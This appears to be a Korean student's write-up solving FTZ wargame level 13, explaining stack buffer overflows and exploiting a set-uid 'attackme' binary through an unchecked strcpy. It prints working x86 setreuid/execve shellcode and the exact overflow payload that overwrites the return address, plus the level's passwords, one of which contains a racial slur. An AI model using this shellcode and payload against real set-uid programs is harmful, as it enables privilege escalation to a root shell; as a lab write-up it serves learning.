FTZ

Layer7 13과제 -F.T.Z level 13 풀이-

건_빵 2019. 6. 19. 02:15

쉘(shell):

- 리눅스는 GUI 환경도 있지만 GUI 환경이 제공되기 이전 터미널 환경을 이용하여 명령어를 직접 타이핑하여 컴퓨터

  를 운영하였다. 현재 많은 리눅스 GUI 버전이 생겼지만 아직도 터미널 환경을 사용하는 것이 GUI처럼 직관적이지는 

  않지만 강력한 기능을 제공하기 때문에 여전히 많이 사용되고 있으며 이 때 터미널에 입력한 명령을 해석하고

  관리하는 프로그램을 쉘(shell)이라고 한다.

  쉘은 사용자와 커널 사이를 연결시켜주는 역할을 하여 사용자가 입력한 명령을 해석하여 운영체제가 해당

  명령어를 알아들을 수 있게 해준다.

 

쉘코드(shell code):

- 시스템의 특정 명령을 실행하는 작은 사이즈의 프로그램을 뜻하여, 일반적으로 기계어 코드로 작성되어 있다.

  쉘코드란 단어는 공격 대상 시스템의 명령어 쉘(Command Shell-etc:bash)를 실행시킨다는 의미로부터 

  파생되었으며, 주로 소프트웨어 취약점을 통한 공격(Exploitation) 이후 실행될 작은 규모의 프로그램(payload)으로

  사용된다. 

 

SFP(stack Frame pointer)

- RET 위에서 프로그램 메모리의 기준점

 

RET(return)

- 프로그램이 종료 후 돌아가게 될 주소가 저장되는 부분

 


level 13 pw: have no clue를 이용하여 로그인을 해보니

오늘도 어김없이 attackme 파일과 hint 파일이 있다. 

 

ls -al attackme 명령어를 사용하여 보니 attackme에 set-uid가 걸려있다.

이제 힌트를 보자.


Stack Overflow 

어떤 프로그램을 실행하게 될 때, 스택에는 실행 되는 함수에 관련된 정보들이

쌓이게 된다. 리턴 어드레스(EIP), 프레임 포인터(Stack frame pointer), 지역 변수등이 말이다.

리턴 어드레스에는 해당 함수가 종료되고 난 후 다음 실행 코드의 주소를 저장하고 있다.

함수가 종료되고 난 후 프로세스는 ret를 스택에서 꺼내어 해당 주소로 이동하여 다음 코드를 계속

수행하게 될 것이다. 변수의 boundary check 를 하지 않은 취약한 프로그램에서 변수를 오버플로우 시켜 이

ret을 덮어쓰므로서 프로그램의 흐름을 원하는 곳으로 바꾸는 것이 바로 stack overflow attack이다.


strcpy() 함수를 사용해서 버퍼 경계를 확인하지 않고 사용하기 때문에 버퍼 오버플로우 

취약점이 발생한다. 하지만 이 때 주의할 점은 변수 i에 있는 값(0x1234567)을 

건드리지 않고 문제를 풀어야한다.

 

변수의 선언 순서를 보았을 때 i가 buf 보다 먼저 선언 되었으므로 

i의 시작주소가 buf의 시작주소 보다 높다는 것을 알 수 있다.

이를 이용해보자.

 

gdb를 이용한 정확한 분석을 해보자.


TMI

main+숫자는 main() 함수에서부터 몇 바이트 떨어져 있는지를 의미한다.

main+61은 main() 함수에서부터 61byte 떨어져 있다는 것을 뜻한다.


구조 

--------------------------------

낮은 주소

buf[1024]

dummy[12]

i (0x1234567)

dummy[8]

SFP[4]

RET[4]

높은 주소

--------------------------------

위와 같은 구조를 가지고 있는 것 같다.

그러면 buf[1024]와 dummy[12]를 A로 채워주고, i를 0x1234567로 채워주고, dummy[8]과

SFP[4]를 다시 A로 채워준 뒤 리턴주소를 덮어주면 될 것 같다.

 

이를 파이썬 코드로 짜면

`python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"RETN주소"'

이렇게 된다.

 

level 11과 마찬가지로 환경 변수를 사용하여 문제를 풀어보자

export [환경변수명]=$(python -c 'print "쉘코드"')

 

쉘코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

그럼 이제 환경 변수를 설정해주자.

환경 변수를 등록하였으니 이제 환경 변수의 주소를 얻어보자.


잠깐, 왜 환경변수를 사용한 것일까?

1.환경변수의 값을 바꾸는 쉘 스크립트를 작성해보면 환경변수가 잘 변하지 않는다는 것을 알 수 있다.

 위 프로그램에는 메모리 주소가 계속 바뀌는 보호 기법을 사용하였기 때문에 환경 변수를 써준 것이다.

2. 쉘코드가 버퍼의  크기보다 클 때 버퍼에 저장할 수 없으므로 환경변수를 설정해준다.


getenv() 함수는 환경변수에서 값에 대한 포인터를 반환하거나 없다면 NULL을 반환한다.

./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x8f\xfc\xff\xbf"'`

왜 주소를 저렇게 2자리씩 끊어서 쓸까??

빅엔디안
리틀 엔디안

빅 엔디안은 우리가 평소에 쓰는 숫자와 같고

리틀 엔디안은 시작점이 뒤에서부터 2개씩 읽는 형식이다.

그런데 이런 리틀 엔디안 방식을 컴퓨터가 사용하기 때문에 두 자리씩 끊어서 주소를 표현한 것이다.


완성!!!  

다시 /home으로 가서 실행 해보자.

what that nigga want?